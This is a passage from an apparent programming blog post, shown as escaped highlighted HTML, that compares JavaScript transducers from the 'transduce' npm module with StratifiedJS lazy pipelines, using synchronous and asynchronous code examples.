&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;sum&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;items&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;items&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;..&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;reduce&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;items&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;items&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;..&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;groupBy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;..&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(([&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;key&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;])&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// ignore the `key`&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;..&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;sum&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;..&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;..&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;toArray&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// =&amp;gt; [ 21, 6 ]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;h3 id=&quot;aside-stratifiedjs-primer&quot;&gt;Aside: StratifiedJS primer&lt;/h3&gt;

&lt;p&gt;I don’t expect you to be familiar with &lt;a href=&quot;http://stratifiedjs.org/&quot;&gt;StratifiedJS&lt;/a&gt; for these examples, but the intent is that (glossing over syntactic details) they should be fairly readable. StratifiedJS is a superset of JavaScript - most of the syntax is just JavaScript. But here’s a primer on the StratifiedJS-only features I’m be using:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;@foo&lt;/code&gt; by convention denotes a standard library function called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;foo&lt;/code&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;transform&lt;/code&gt; is a lazy version of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;map&lt;/code&gt; - i.e. it produces a lazy stream rather than an array.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;someFunc() ... anotherfunc()&lt;/code&gt; is like a pipeline. You don’t really need to know the details, other than it’s just function application which reads from left-to-right. It’s a lot like how composition works in a unix pipeline (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cat foo | grep bar | wc -l&lt;/code&gt;).&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a -&amp;gt; b&lt;/code&gt; is a lambda function, equivalent to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;function(a) { return b; }&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So hopefully the above example is pretty straightforward - we’ve chained / composed &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;transform&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;groupBy&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;filter&lt;/code&gt; using simple function application. Since we’re using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;transform&lt;/code&gt; (a lazy version of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;map&lt;/code&gt;), the transformations will be applied only as necessary - we won’t build up an array for each intermediate step.&lt;/p&gt;

&lt;p&gt;Here’s what the equivalent code looks like with transducers:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;items&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;12&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;8&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;13&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;5&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;6&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;7&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;sum&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;@@transducer/init&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; 
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
  &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;@@transducer/result&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; 
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt;
  &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;@@transducer/step&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;result&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;input&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;transducer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;compose&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;partitionBy&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}),&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;reduce&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;sum&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}),&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;filter&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;%&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;items&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;into&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([],&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;transducer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// =&amp;gt; [ 21, 6 ]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;Not too bad, transducers. The glaring weirdness is that I had to implement &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sum&lt;/code&gt; myself as a (very boring) raw transformation object. I &lt;em&gt;really&lt;/em&gt; expected that I’d be able to build a transducer from the kind of function you’d pass to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;reduce()&lt;/code&gt;, but I couldn’t figure out how. I’ll update this if someone enlightens me. But in terms of actually composing the transducers, it reads just like my StratifiedJS pipeline. And unlike a regular JavaScript pipeline, it won’t construct intermediate arrays either.&lt;/p&gt;

&lt;p&gt;Also note that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sum&lt;/code&gt; is &lt;em&gt;not&lt;/em&gt; a transducer - it’s a transformation. A transformation is like the “base” form of a transducer, while a transducer is actually a &lt;em&gt;function which takes a transformation and returns a new transformation&lt;/em&gt;. This wasn’t explained terribly well in the documentation, and it feels a little odd since transducers are what all the fuss is about, while transformations are clearly important too.&lt;/p&gt;

&lt;h3 id=&quot;example-2&quot;&gt;Example 2: … but what about async?&lt;/h3&gt;

&lt;p&gt;It’s not a proper JavaScript example without an asynchronous spanner thrown in the works. The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;transduce&lt;/code&gt; npm module I chose has support for async transformations, so how do you use it?&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;items&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;plusOne&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;plusOneSlowly&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;item&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nc&quot;&gt;Promise&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;reject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;nf&quot;&gt;setTimeout&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nf&quot;&gt;resolve&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;item&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;},&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;transducer&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;compose&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;plusOneSlowly&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;async&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;defer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(),&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;plusOne&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;t&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;async&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;into&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;([],&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;transducer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;then&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;items&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;});&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// =&amp;gt; [ 3, 4, 5 ]&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/figure&gt;

&lt;p&gt;OK, so that was actually pretty decent. We were able to combine a sync (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;plusOne&lt;/code&gt;) and an async (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;plusOneSlowly&lt;/code&gt;) transucer in the same pipeline. The changes were just:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;t.async.into&lt;/code&gt; (which returns a promise) instead of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;t.into&lt;/code&gt;&lt;/li&gt;
  &lt;li&gt;insert a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;t.defer()&lt;/code&gt; after each asynchronous transducer in the arguments to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;compose&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The latter was a little confusing - originally I assumed I needed to &lt;em&gt;wrap&lt;/em&gt; each async transducer, as in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;t.defer(addOneToEverything)&lt;/code&gt;. But when I did that, my transformation was &lt;em&gt;completely ignored&lt;/em&gt;. So that was pretty alarming. It’s my fault for not reading the docs clearly enough, but it seems a bit counterintuitive. Now that I know how transducers work it actually makes a little more sense, because &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;defer&lt;/code&gt; is nothing special - it’s just a transducer which resolves promises into their values. But it threw me off for a while.&lt;/p&gt;

&lt;p&gt;For comparison, here’s how it would look in StratifiedJS:&lt;/p&gt;

&lt;figure class=&quot;highlight&quot;&gt;&lt;pre&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;items&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;3&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nf&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;items&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;..&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;..&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;@&lt;/span&gt;&lt;span class=&quot;nd&quot;&gt;transform&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
      &lt;span class=&quot;nf&quot;&gt;hold&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;100&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// builtin function which suspends for `n` milliseconds&lt;/span&gt;
